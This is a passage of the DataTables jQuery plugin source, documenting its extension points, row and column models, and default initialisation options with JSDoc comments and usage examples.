* return new TableTools( { "oDTSettings": oSettings } );
* },
* "cFeature": "T",
* "sFeature": "TableTools"
* } );
*/
"aoFeatures": [],
/**
* Type detection plug-in functions - DataTables utilises types to define how sorting and
* filtering behave, and types can be either be defined by the developer (sType for the
* column) or they can be automatically detected by the methods in this array. The functions
* defined in the array are quite simple, taking a single parameter (the data to analyse)
* and returning the type if it is a known type, or null otherwise.
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{*} Data from the column cell to be analysed</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>{string|null} Data type detected, or null if unknown (and thus pass it
* on to the other type detection functions.</li>
* </ul>
* </il>
* </ul>
* @type array
* @default []
*
* @example
* // Currency type detection plug-in:
* jQuery.fn.dataTableExt.aTypes.push(
* function ( sData ) {
* var sValidChars = "0123456789.-";
* var Char;
*
* // Check the numeric part
* for ( i=1 ; i<sData.length ; i++ ) {
* Char = sData.charAt(i);
* if (sValidChars.indexOf(Char) == -1) {
* return null;
* }
* }
*
* // Check prefixed by currency
* if ( sData.charAt(0) == '$' || sData.charAt(0) == '£' ) {
* return 'currency';
* }
* return null;
* }
* );
*/
"aTypes": [],
/**
* Provide a common method for plug-ins to check the version of DataTables being used,
* in order to ensure compatibility.
* @type function
* @param {string} sVersion Version string to check for, in the format "X.Y.Z". Note
* that the formats "X" and "X.Y" are also acceptable.
* @returns {boolean} true if this version of DataTables is greater or equal to the
* required version, or false if this version of DataTales is not suitable
*
* @example
* $(document).ready(function() {
* var oTable = $('#example').dataTable();
* alert( oTable.fnVersionCheck( '1.9.0' ) );
* } );
*/
"fnVersionCheck": DataTable.fnVersionCheck,
/**
* Index for what 'this' index API functions should use
* @type int
* @default 0
*/
"iApiIndex": 0,
/**
* Pre-processing of filtering data plug-ins - When you assign the sType for a column
* (or have it automatically detected for you by DataTables or a type detection plug-in),
* you will typically be using this for custom sorting, but it can also be used to provide
* custom filtering by allowing you to pre-processing the data and returning the data in
* the format that should be filtered upon. This is done by adding functions this object
* with a parameter name which matches the sType for that target column. This is the
* corollary of <i>afnSortData</i> for filtering data.
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{*} Data from the column cell to be prepared for filtering</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>{string|null} Formatted string that will be used for the filtering.</li>
* </ul>
* </il>
* </ul>
*
* Note that as of v1.9, it is typically preferable to use <i>mData</i> to prepare data for
* the different uses that DataTables can put the data to. Specifically <i>mData</i> when
* used as a function will give you a 'type' (sorting, filtering etc) that you can use to
* prepare the data as required for the different types. As such, this method is deprecated.
* @type object
* @default {}
* @deprecated
*
* @example
* $.fn.dataTableExt.ofnSearch['title-numeric'] = function ( sData ) {
* return sData.replace(/\n/g," ").replace( /<.*?>/g, "" );
* }
*/
"ofnSearch": {},
/**
* Container for all private functions in DataTables so they can be exposed externally
* @type object
* @default {}
*/
"oApi": {},
/**
* Storage for the various classes that DataTables uses
* @type object
* @default {}
*/
"oStdClasses": {},
/**
* Storage for the various classes that DataTables uses - jQuery UI suitable
* @type object
* @default {}
*/
"oJUIClasses": {},
/**
* Pagination plug-in methods - The style and controls of the pagination can significantly
* impact on how the end user interacts with the data in your table, and DataTables allows
* the addition of pagination controls by extending this object, which can then be enabled
* through the <i>sPaginationType</i> initialisation parameter. Each pagination type that
* is added is an object (the property name of which is what <i>sPaginationType</i> refers
* to) that has two properties, both methods that are used by DataTables to update the
* control's state.
* <ul>
* <li>
* fnInit - Initialisation of the paging controls. Called only during initialisation
* of the table. It is expected that this function will add the required DOM elements
* to the page for the paging controls to work. The element pointer
* 'oSettings.aanFeatures.p' array is provided by DataTables to contain the paging
* controls (note that this is a 2D array to allow for multiple instances of each
* DataTables DOM element). It is suggested that you add the controls to this element
* as children
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{object} DataTables settings object: see {@link DataTable.models.oSettings}.</li>
* <li>{node} Container into which the pagination controls must be inserted</li>
* <li>{function} Draw callback function - whenever the controls cause a page
* change, this method must be called to redraw the table.</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>No return required</li>
* </ul>
* </il>
* </ul>
* </il>
* <li>
* fnInit - This function is called whenever the paging status of the table changes and is
* typically used to update classes and/or text of the paging controls to reflex the new
* status.
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{object} DataTables settings object: see {@link DataTable.models.oSettings}.</li>
* <li>{function} Draw callback function - in case you need to redraw the table again
* or attach new event listeners</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>No return required</li>
* </ul>
* </il>
* </ul>
* </il>
* </ul>
* @type object
* @default {}
*
* @example
* $.fn.dataTableExt.oPagination.four_button = {
* "fnInit": function ( oSettings, nPaging, fnCallbackDraw ) {
* nFirst = document.createElement( 'span' );
* nPrevious = document.createElement( 'span' );
* nNext = document.createElement( 'span' );
* nLast = document.createElement( 'span' );
*
* nFirst.appendChild( document.createTextNode( oSettings.oLanguage.oPaginate.sFirst ) );
* nPrevious.appendChild( document.createTextNode( oSettings.oLanguage.oPaginate.sPrevious ) );
* nNext.appendChild( document.createTextNode( oSettings.oLanguage.oPaginate.sNext ) );
* nLast.appendChild( document.createTextNode( oSettings.oLanguage.oPaginate.sLast ) );
*
* nFirst.className = "paginate_button first";
* nPrevious.className = "paginate_button previous";
* nNext.className="paginate_button next";
* nLast.className = "paginate_button last";
*
* nPaging.appendChild( nFirst );
* nPaging.appendChild( nPrevious );
* nPaging.appendChild( nNext );
* nPaging.appendChild( nLast );
*
* $(nFirst).click( function () {
* oSettings.oApi._fnPageChange( oSettings, "first" );
* fnCallbackDraw( oSettings );
* } );
*
* $(nPrevious).click( function() {
* oSettings.oApi._fnPageChange( oSettings, "previous" );
* fnCallbackDraw( oSettings );
* } );
*
* $(nNext).click( function() {
* oSettings.oApi._fnPageChange( oSettings, "next" );
* fnCallbackDraw( oSettings );
* } );
*
* $(nLast).click( function() {
* oSettings.oApi._fnPageChange( oSettings, "last" );
* fnCallbackDraw( oSettings );
* } );
*
* $(nFirst).bind( 'selectstart', function () { return false; } );
* $(nPrevious).bind( 'selectstart', function () { return false; } );
* $(nNext).bind( 'selectstart', function () { return false; } );
* $(nLast).bind( 'selectstart', function () { return false; } );
* },
*
* "fnUpdate": function ( oSettings, fnCallbackDraw ) {
* if ( !oSettings.aanFeatures.p ) {
* return;
* }
*
* // Loop over each instance of the pager
* var an = oSettings.aanFeatures.p;
* for ( var i=0, iLen=an.length ; i<iLen ; i++ ) {
* var buttons = an[i].getElementsByTagName('span');
* if ( oSettings._iDisplayStart === 0 ) {
* buttons[0].className = "paginate_disabled_previous";
* buttons[1].className = "paginate_disabled_previous";
* }
* else {
* buttons[0].className = "paginate_enabled_previous";
* buttons[1].className = "paginate_enabled_previous";
* }
*
* if ( oSettings.fnDisplayEnd() == oSettings.fnRecordsDisplay() ) {
* buttons[2].className = "paginate_disabled_next";
* buttons[3].className = "paginate_disabled_next";
* }
* else {
* buttons[2].className = "paginate_enabled_next";
* buttons[3].className = "paginate_enabled_next";
* }
* }
* }
* };
*/
"oPagination": {},
/**
* Sorting plug-in methods - Sorting in DataTables is based on the detected type of the
* data column (you can add your own type detection functions, or override automatic
* detection using sType). With this specific type given to the column, DataTables will
* apply the required sort from the functions in the object. Each sort type must provide
* two mandatory methods, one each for ascending and descending sorting, and can optionally
* provide a pre-formatting method that will help speed up sorting by allowing DataTables
* to pre-format the sort data only once (rather than every time the actual sort functions
* are run). The two sorting functions are typical Javascript sort methods:
* <ul>
* <li>
* Function input parameters:
* <ul>
* <li>{*} Data to compare to the second parameter</li>
* <li>{*} Data to compare to the first parameter</li>
* </ul>
* </li>
* <li>
* Function return:
* <ul>
* <li>{int} Sorting match: <0 if first parameter should be sorted lower than
* the second parameter, ===0 if the two parameters are equal and >0 if
* the first parameter should be sorted height than the second parameter.</li>
* </ul>
* </il>
* </ul>
* @type object
* @default {}
*
* @example
* // Case-sensitive string sorting, with no pre-formatting method
* $.extend( $.fn.dataTableExt.oSort, {
* "string-case-asc": function(x,y) {
* return ((x < y) ? -1 : ((x > y) ? 1 : 0));
* },
* "string-case-desc": function(x,y) {
* return ((x < y) ? 1 : ((x > y) ? -1 : 0));
* }
* } );
*
* @example
* // Case-insensitive string sorting, with pre-formatting
* $.extend( $.fn.dataTableExt.oSort, {
* "string-pre": function(x) {
* return x.toLowerCase();
* },
* "string-asc": function(x,y) {
* return ((x < y) ? -1 : ((x > y) ? 1 : 0));
* },
* "string-desc": function(x,y) {
* return ((x < y) ? 1 : ((x > y) ? -1 : 0));
* }
* } );
*/
"oSort": {},
/**
* Version string for plug-ins to check compatibility. Allowed format is
* a.b.c.d.e where: a:int, b:int, c:int, d:string(dev|beta), e:int. d and
* e are optional
* @type string
* @default Version number
*/
"sVersion": DataTable.version,
/**
* How should DataTables report an error. Can take the value 'alert' or 'throw'
* @type string
* @default alert
*/
"sErrMode": "alert",
/**
* Store information for DataTables to access globally about other instances
* @namespace
* @private
*/
"_oExternConfig": {
/* int:iNextUnique - next unique number for an instance */
"iNextUnique": 0
}
};
/**
* Template object for the way in which DataTables holds information about
* search information for the global filter and individual column filters.
* @namespace
*/
DataTable.models.oSearch = {
/**
* Flag to indicate if the filtering should be case insensitive or not
* @type boolean
* @default true
*/
"bCaseInsensitive": true,
/**
* Applied search term
* @type string
* @default <i>Empty string</i>
*/
"sSearch": "",
/**
* Flag to indicate if the search term should be interpreted as a
* regular expression (true) or not (false) and therefore and special
* regex characters escaped.
* @type boolean
* @default false
*/
"bRegex": false,
/**
* Flag to indicate if DataTables is to use its smart filtering or not.
* @type boolean
* @default true
*/
"bSmart": true
};
/**
* Template object for the way in which DataTables holds information about
* each individual row. This is the object format used for the settings
* aoData array.
* @namespace
*/
DataTable.models.oRow = {
/**
* TR element for the row
* @type node
* @default null
*/
"nTr": null,
/**
* Data object from the original data source for the row. This is either
* an array if using the traditional form of DataTables, or an object if
* using mData options. The exact type will depend on the passed in
* data from the data source, or will be an array if using DOM a data
* source.
* @type array|object
* @default []
*/
"_aData": [],
/**
* Sorting data cache - this array is ostensibly the same length as the
* number of columns (although each index is generated only as it is
* needed), and holds the data that is used for sorting each column in the
* row. We do this cache generation at the start of the sort in order that
* the formatting of the sort data need be done only once for each cell
* per sort. This array should not be read from or written to by anything
* other than the master sorting methods.
* @type array
* @default []
* @private
*/
"_aSortData": [],
/**
* Array of TD elements that are cached for hidden rows, so they can be
* reinserted into the table if a column is made visible again (or to act
* as a store if a column is made hidden). Only hidden columns have a
* reference in the array. For non-hidden columns the value is either
* undefined or null.
* @type array nodes
* @default []
* @private
*/
"_anHidden": [],
/**
* Cache of the class name that DataTables has applied to the row, so we
* can quickly look at this variable rather than needing to do a DOM check
* on className for the nTr property.
* @type string
* @default <i>Empty string</i>
* @private
*/
"_sRowStripe": ""
};
/**
* Template object for the column information object in DataTables. This object
* is held in the settings aoColumns array and contains all the information that
* DataTables needs about each individual column.
*
* Note that this object is related to {@link DataTable.defaults.columns}
* but this one is the internal data store for DataTables's cache of columns.
* It should NOT be manipulated outside of DataTables. Any configuration should
* be done through the initialisation options.
* @namespace
*/
DataTable.models.oColumn = {
/**
* A list of the columns that sorting should occur on when this column
* is sorted. That this property is an array allows multi-column sorting
* to be defined for a column (for example first name / last name columns
* would benefit from this). The values are integers pointing to the
* columns to be sorted on (typically it will be a single integer pointing
* at itself, but that doesn't need to be the case).
* @type array
*/
"aDataSort": null,
/**
* Define the sorting directions that are applied to the column, in sequence
* as the column is repeatedly sorted upon - i.e. the first value is used
* as the sorting direction when the column if first sorted (clicked on).
* Sort it again (click again) and it will move on to the next index.
* Repeat until loop.
* @type array
*/
"asSorting": null,
/**
* Flag to indicate if the column is searchable, and thus should be included
* in the filtering or not.
* @type boolean
*/
"bSearchable": null,
/**
* Flag to indicate if the column is sortable or not.
* @type boolean
*/
"bSortable": null,
/**
* <code>Deprecated</code> When using fnRender, you have two options for what
* to do with the data, and this property serves as the switch. Firstly, you
* can have the sorting and filtering use the rendered value (true - default),
* or you can have the sorting and filtering us the original value (false).
*
* Please note that this option has now been deprecated and will be removed
* in the next version of DataTables. Please use mRender / mData rather than
* fnRender.
* @type boolean
* @deprecated
*/
"bUseRendered": null,
/**
* Flag to indicate if the column is currently visible in the table or not
* @type boolean
*/
"bVisible": null,
/**
* Flag to indicate to the type detection method if the automatic type
* detection should be used, or if a column type (sType) has been specified
* @type boolean
* @default true
* @private
*/
"_bAutoType": true,
/**
* Developer definable function that is called whenever a cell is created (Ajax source,
* etc) or processed for input (DOM source). This can be used as a compliment to mRender
* allowing you to modify the DOM element (add background colour for example) when the
* element is available.
* @type function
* @param {element} nTd The TD node that has been created
* @param {*} sData The Data for the cell
* @param {array|object} oData The data for the whole row
* @param {int} iRow The row index for the aoData data store
* @default null
*/
"fnCreatedCell": null,
/**
* Function to get data from a cell in a column. You should <b>never</b>
* access data directly through _aData internally in DataTables - always use
* the method attached to this property. It allows mData to function as
* required. This function is automatically assigned by the column
* initialisation method
* @type function
* @param {array|object} oData The data array/object for the array
* (i.e. aoData[]._aData)
* @param {string} sSpecific The specific data type you want to get -
* 'display', 'type' 'filter' 'sort'
* @returns {*} The data for the cell from the given row's data
* @default null
*/
"fnGetData": null,
/**
* <code>Deprecated</code> Custom display function that will be called for the
* display of each cell in this column.
*
* Please note that this option has now been deprecated and will be removed
* in the next version of DataTables. Please use mRender / mData rather than
* fnRender.
* @type function
* @param {object} o Object with the following parameters:
* @param {int} o.iDataRow The row in aoData
* @param {int} o.iDataColumn The column in question
* @param {array} o.aData The data for the row in question
* @param {object} o.oSettings The settings object for this DataTables instance
* @returns {string} The string you which to use in the display
* @default null
* @deprecated
*/
"fnRender": null,
/**
* Function to set data for a cell in the column. You should <b>never</b>
* set the data directly to _aData internally in DataTables - always use
* this method. It allows mData to function as required. This function
* is automatically assigned by the column initialisation method
* @type function
* @param {array|object} oData The data array/object for the array
* (i.e. aoData[]._aData)
* @param {*} sValue Value to set
* @default null
*/
"fnSetData": null,
/**
* Property to read the value for the cells in the column from the data
* source array / object. If null, then the default content is used, if a
* function is given then the return from the function is used.
* @type function|int|string|null
* @default null
*/
"mData": null,
/**
* Partner property to mData which is used (only when defined) to get
* the data - i.e. it is basically the same as mData, but without the
* 'set' option, and also the data fed to it is the result from mData.
* This is the rendering method to match the data method of mData.
* @type function|int|string|null
* @default null
*/
"mRender": null,
/**
* Unique header TH/TD element for this column - this is what the sorting
* listener is attached to (if sorting is enabled.)
* @type node
* @default null
*/
"nTh": null,
/**
* Unique footer TH/TD element for this column (if there is one). Not used
* in DataTables as such, but can be used for plug-ins to reference the
* footer for each column.
* @type node
* @default null
*/
"nTf": null,
/**
* The class to apply to all TD elements in the table's TBODY for the column
* @type string
* @default null
*/
"sClass": null,
/**
* When DataTables calculates the column widths to assign to each column,
* it finds the longest string in each column and then constructs a
* temporary table and reads the widths from that. The problem with this
* is that "mmm" is much wider then "iiii", but the latter is a longer
* string - thus the calculation can go wrong (doing it properly and putting
* it into an DOM object and measuring that is horribly(!) slow). Thus as
* a "work around" we provide this option. It will append its value to the
* text that is found to be the longest string for the column - i.e. padding.
* @type string
*/
"sContentPadding": null,
/**
* Allows a default value to be given for a column's data, and will be used
* whenever a null data source is encountered (this can be because mData
* is set to null, or because the data source itself is null).
* @type string
* @default null
*/
"sDefaultContent": null,
/**
* Name for the column, allowing reference to the column by name as well as
* by index (needs a lookup to work by name).
* @type string
*/
"sName": null,
/**
* Custom sorting data type - defines which of the available plug-ins in
* afnSortData the custom sorting will use - if any is defined.
* @type string
* @default std
*/
"sSortDataType": 'std',
/**
* Class to be applied to the header element when sorting on this column
* @type string
* @default null
*/
"sSortingClass": null,
/**
* Class to be applied to the header element when sorting on this column -
* when jQuery UI theming is used.
* @type string
* @default null
*/
"sSortingClassJUI": null,
/**
* Title of the column - what is seen in the TH element (nTh).
* @type string
*/
"sTitle": null,
/**
* Column sorting and filtering type
* @type string
* @default null
*/
"sType": null,
/**
* Width of the column
* @type string
* @default null
*/
"sWidth": null,
/**
* Width of the column when it was first "encountered"
* @type string
* @default null
*/
"sWidthOrig": null
};
/**
* Initialisation options that can be given to DataTables at initialisation
* time.
* @namespace
*/
DataTable.defaults = {
/**
* An array of data to use for the table, passed in at initialisation which
* will be used in preference to any data which is already in the DOM. This is
* particularly useful for constructing tables purely in Javascript, for
* example with a custom Ajax call.
* @type array
* @default null
* @dtopt Option
*
* @example
* // Using a 2D array data source
* $(document).ready( function () {
* $('#example').dataTable( {
* "aaData": [
* ['Trident', 'Internet Explorer 4.0', 'Win 95+', 4, 'X'],
* ['Trident', 'Internet Explorer 5.0', 'Win 95+', 5, 'C'],
* ],
* "aoColumns": [
* { "sTitle": "Engine" },
* { "sTitle": "Browser" },
* { "sTitle": "Platform" },
* { "sTitle": "Version" },
* { "sTitle": "Grade" }
* ]
* } );
* } );
*
* @example
* // Using an array of objects as a data source (mData)
* $(document).ready( function () {
* $('#example').dataTable( {
* "aaData": [
* {
* "engine": "Trident",
* "browser": "Internet Explorer 4.0",
* "platform": "Win 95+",
* "version": 4,
* "grade": "X"
* },
* {
* "engine": "Trident",
* "browser": "Internet Explorer 5.0",
* "platform": "Win 95+",
* "version": 5,
* "grade": "C"
* }
* ],
* "aoColumns": [
* { "sTitle": "Engine", "mData": "engine" },
* { "sTitle": "Browser", "mData": "browser" },
* { "sTitle": "Platform", "mData": "platform" },
* { "sTitle": "Version", "mData": "version" },
* { "sTitle": "Grade", "mData": "grade" }
* ]
* } );
* } );
*/
"aaData": null,
/**
* If sorting is enabled, then DataTables will perform a first pass sort on
* initialisation. You can define which column(s) the sort is performed upon,
* and the sorting direction, with this variable. The aaSorting array should
* contain an array for each column to be sorted initially containing the
* column's index and a direction string ('asc' or 'desc').
* @type array
* @default [[0,'asc']]
* @dtopt Option
*
* @example
* // Sort by 3rd column first, and then 4th column
* $(document).ready( function() {
* $('#example').dataTable( {
* "aaSorting": [[2,'asc'], [3,'desc']]
* } );
* } );
*
* // No initial sorting
* $(document).ready( function() {
* $('#example').dataTable( {
* "aaSorting": []
* } );
* } );
*/
"aaSorting": [[0,'asc']],
/**
* This parameter is basically identical to the aaSorting parameter, but
* cannot be overridden by user interaction with the table. What this means
* is that you could have a column (visible or hidden) which the sorting will
* always be forced on first - any sorting after that (from the user) will
* then be performed as required. This can be useful for grouping rows
* together.
* @type array
* @default null
* @dtopt Option
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "aaSortingFixed": [[0,'asc']]
* } );
* } )
*/
"aaSortingFixed": null,
/**
* This parameter allows you to readily specify the entries in the length drop
* down menu that DataTables shows when pagination is enabled. It can be
* either a 1D array of options which will be used for both the displayed
* option and the value, or a 2D array which will use the array in the first
* position as the value, and the array in the second position as the
* displayed options (useful for language strings such as 'All').
* @type array
* @default [ 10, 25, 50, 100 ]
* @dtopt Option
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "aLengthMenu": [[10, 25, 50, -1], [10, 25, 50, "All"]]
* } );
* } );
*
* @example
* // Setting the default display length as well as length menu
* // This is likely to be wanted if you remove the '10' option which
* // is the iDisplayLength default.
* $(document).ready( function() {
* $('#example').dataTable( {
* "iDisplayLength": 25,
* "aLengthMenu": [[25, 50, 100, -1], [25, 50, 100, "All"]]
* } );
* } );
*/
"aLengthMenu": [ 10, 25, 50, 100 ],
/**
* The aoColumns option in the initialisation parameter allows you to define
* details about the way individual columns behave. For a full list of
* column options that can be set, please see
* {@link DataTable.defaults.columns}. Note that if you use aoColumns to
* define your columns, you must have an entry in the array for every single
* column that you have in your table (these can be null if you don't which
* to specify any options).
* @member
*/
"aoColumns": null,
/**
* Very similar to aoColumns, aoColumnDefs allows you to target a specific
* column, multiple columns, or all columns, using the aTargets property of
* each object in the array. This allows great flexibility when creating
* tables, as the aoColumnDefs arrays can be of any length, targeting the
* columns you specifically want. aoColumnDefs may use any of the column
* options available: {@link DataTable.defaults.columns}, but it _must_
* have aTargets defined in each object in the array. Values in the aTargets
* array may be:
* <ul>
* <li>a string - class name will be matched on the TH for the column</li>
* <li>0 or a positive integer - column index counting from the left</li>
* <li>a negative integer - column index counting from the right</li>
* <li>the string "_all" - all columns (i.e. assign a default)</li>
* </ul>
* @member
*/
"aoColumnDefs": null,
/**
* Basically the same as oSearch, this parameter defines the individual column
* filtering state at initialisation time. The array must be of the same size
* as the number of columns, and each element be an object with the parameters
* "sSearch" and "bEscapeRegex" (the latter is optional). 'null' is also
* accepted and the default will be used.
* @type array
* @default []
* @dtopt Option
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "aoSearchCols": [
* null,
* { "sSearch": "My filter" },
* null,
* { "sSearch": "^[0-9]", "bEscapeRegex": false }
* ]
* } );
* } )
*/
"aoSearchCols": [],
/**
* An array of CSS classes that should be applied to displayed rows. This
* array may be of any length, and DataTables will apply each class
* sequentially, looping when required.
* @type array
* @default null <i>Will take the values determined by the oClasses.sStripe*
* options</i>
* @dtopt Option
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "asStripeClasses": [ 'strip1', 'strip2', 'strip3' ]
* } );
* } )
*/
"asStripeClasses": null,
/**
* Enable or disable automatic column width calculation. This can be disabled
* as an optimisation (it takes some time to calculate the widths) if the
* tables widths are passed in using aoColumns.
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bAutoWidth": false
* } );
* } );
*/
"bAutoWidth": true,
/**
* Deferred rendering can provide DataTables with a huge speed boost when you
* are using an Ajax or JS data source for the table. This option, when set to
* true, will cause DataTables to defer the creation of the table elements for
* each row until they are needed for a draw - saving a significant amount of
* time.
* @type boolean
* @default false
* @dtopt Features
*
* @example
* $(document).ready( function() {
* var oTable = $('#example').dataTable( {
* "sAjaxSource": "sources/arrays.txt",
* "bDeferRender": true
* } );
* } );
*/
"bDeferRender": false,
/**
* Replace a DataTable which matches the given selector and replace it with
* one which has the properties of the new initialisation object passed. If no
* table matches the selector, then the new DataTable will be constructed as
* per normal.
* @type boolean
* @default false
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sScrollY": "200px",
* "bPaginate": false
* } );
*
* // Some time later....
* $('#example').dataTable( {
* "bFilter": false,
* "bDestroy": true
* } );
* } );
*/
"bDestroy": false,
/**
* Enable or disable filtering of data. Filtering in DataTables is "smart" in
* that it allows the end user to input multiple words (space separated) and
* will match a row containing those words, even if not in the order that was
* specified (this allow matching across multiple columns). Note that if you
* wish to use filtering in DataTables this must remain 'true' - to remove the
* default filtering input box and retain filtering abilities, please use
* {@link DataTable.defaults.sDom}.
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bFilter": false
* } );
* } );
*/
"bFilter": true,
/**
* Enable or disable the table information display. This shows information
* about the data that is currently visible on the page, including information
* about filtered data if that action is being performed.
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bInfo": false
* } );
* } );
*/
"bInfo": true,
/**
* Enable jQuery UI ThemeRoller support (required as ThemeRoller requires some
* slightly different and additional mark-up from what DataTables has
* traditionally used).
* @type boolean
* @default false
* @dtopt Features
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bJQueryUI": true
* } );
* } );
*/
"bJQueryUI": false,
/**
* Allows the end user to select the size of a formatted page from a select
* menu (sizes are 10, 25, 50 and 100). Requires pagination (bPaginate).
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bLengthChange": false
* } );
* } );
*/
"bLengthChange": true,
/**
* Enable or disable pagination.
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bPaginate": false
* } );
* } );
*/
"bPaginate": true,
/**
* Enable or disable the display of a 'processing' indicator when the table is
* being processed (e.g. a sort). This is particularly useful for tables with
* large amounts of data where it can take a noticeable amount of time to sort
* the entries.
* @type boolean
* @default false
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bProcessing": true
* } );
* } );
*/
"bProcessing": false,
/**
* Retrieve the DataTables object for the given selector. Note that if the
* table has already been initialised, this parameter will cause DataTables
* to simply return the object that has already been set up - it will not take
* account of any changes you might have made to the initialisation object
* passed to DataTables (setting this parameter to true is an acknowledgement
* that you understand this). bDestroy can be used to reinitialise a table if
* you need.
* @type boolean
* @default false
* @dtopt Options
*
* @example
* $(document).ready( function() {
* initTable();
* tableActions();
* } );
*
* function initTable ()
* {
* return $('#example').dataTable( {
* "sScrollY": "200px",
* "bPaginate": false,
* "bRetrieve": true
* } );
* }
*
* function tableActions ()
* {
* var oTable = initTable();
* // perform API operations with oTable
* }
*/
"bRetrieve": false,
/**
* Indicate if DataTables should be allowed to set the padding / margin
* etc for the scrolling header elements or not. Typically you will want
* this.
* @type boolean
* @default true
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bScrollAutoCss": false,
* "sScrollY": "200px"
* } );
* } );
*/
"bScrollAutoCss": true,
/**
* When vertical (y) scrolling is enabled, DataTables will force the height of
* the table's viewport to the given height at all times (useful for layout).
* However, this can look odd when filtering data down to a small data set,
* and the footer is left "floating" further down. This parameter (when
* enabled) will cause DataTables to collapse the table's viewport down when
* the result set will fit within the given Y height.
* @type boolean
* @default false
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "sScrollY": "200",
* "bScrollCollapse": true
* } );
* } );
*/
"bScrollCollapse": false,
/**
* Enable infinite scrolling for DataTables (to be used in combination with
* sScrollY). Infinite scrolling means that DataTables will continually load
* data as a user scrolls through a table, which is very useful for large
* dataset. This cannot be used with pagination, which is automatically
* disabled. Note - the Scroller extra for DataTables is recommended in
* in preference to this option.
* @type boolean
* @default false
* @dtopt Features
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bScrollInfinite": true,
* "bScrollCollapse": true,
* "sScrollY": "200px"
* } );
* } );
*/
"bScrollInfinite": false,
/**
* Configure DataTables to use server-side processing. Note that the
* sAjaxSource parameter must also be given in order to give DataTables a
* source to obtain the required data for each draw.
* @type boolean
* @default false
* @dtopt Features
* @dtopt Server-side
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bServerSide": true,
* "sAjaxSource": "xhr.php"
* } );
* } );
*/
"bServerSide": false,
/**
* Enable or disable sorting of columns. Sorting of individual columns can be
* disabled by the "bSortable" option for each column.
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bSort": false
* } );
* } );
*/
"bSort": true,
/**
* Allows control over whether DataTables should use the top (true) unique
* cell that is found for a single column, or the bottom (false - default).
* This is useful when using complex headers.
* @type boolean
* @default false
* @dtopt Options
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "bSortCellsTop": true
* } );
* } );
*/
"bSortCellsTop": false,
/**
* Enable or disable the addition of the classes 'sorting_1', 'sorting_2' and
* 'sorting_3' to the columns which are currently being sorted on. This is
* presented as a feature switch as it can increase processing time (while
* classes are removed and added) so for large data sets you might want to
* turn this off.
* @type boolean
* @default true
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bSortClasses": false
* } );
* } );
*/
"bSortClasses": true,
/**
* Enable or disable state saving. When enabled a cookie will be used to save
* table display information such as pagination information, display length,
* filtering and sorting. As such when the end user reloads the page the
* display display will match what thy had previously set up.
* @type boolean
* @default false
* @dtopt Features
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "bStateSave": true
* } );
* } );
*/
"bStateSave": false,
/**
* Customise the cookie and / or the parameters being stored when using
* DataTables with state saving enabled. This function is called whenever
* the cookie is modified, and it expects a fully formed cookie string to be
* returned. Note that the data object passed in is a Javascript object which
* must be converted to a string (JSON.stringify for example).
* @type function
* @param {string} sName Name of the cookie defined by DataTables
* @param {object} oData Data to be stored in the cookie
* @param {string} sExpires Cookie expires string
* @param {string} sPath Path of the cookie to set
* @returns {string} Cookie formatted string (which should be encoded by
* using encodeURIComponent())
* @dtopt Callbacks
*
* @example
* $(document).ready( function () {
* $('#example').dataTable( {
* "fnCookieCallback": function (sName, oData, sExpires, sPath) {
* // Customise oData or sName or whatever else here
* return sName + "="+JSON.stringify(oData)+"; expires=" + sExpires +"; path=" + sPath;
* }
* } );
* } );
*/
"fnCookieCallback": null,
/**
* This function is called when a TR element is created (and all TD child
* elements have been inserted), or registered if using a DOM source, allowing
* manipulation of the TR element (adding classes etc).
* @type function
* @param {node} nRow "TR" element for the current row
* @param {array} aData Raw data array for this row
* @param {int} iDataIndex The index of this row in aoData
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnCreatedRow": function( nRow, aData, iDataIndex ) {
* // Bold the grade for all 'A' grade browsers
* if ( aData[4] == "A" )
* {
* $('td:eq(4)', nRow).html( '<b>A</b>' );
* }
* }
* } );
* } );
*/
"fnCreatedRow": null,
/**
* This function is called on every 'draw' event, and allows you to
* dynamically modify any aspect you want about the created DOM.
* @type function
* @param {object} oSettings DataTables settings object
* @dtopt Callbacks
*
* @example
* $(document).ready( function() {
* $('#example').dataTable( {
* "fnDrawCallback": function( oSettings ) {
* alert( 'DataTables has redrawn the table' );
* }
* } );
* } );
*/
"fnDrawCallback": null,
/**
* Identical to fnHeaderCallback() but for the table footer this function
* allows you to modify the table footer on every 'draw' even.
* @type function
* @param {node} nFoot "TR" element for the footer
* @param {array} aData Full table data (as derived from the original HTML)
* @param {int} iStart Index for the current display starting point in the
* display array
* @param {int} iEnd Index for the current display ending point in the
* display array
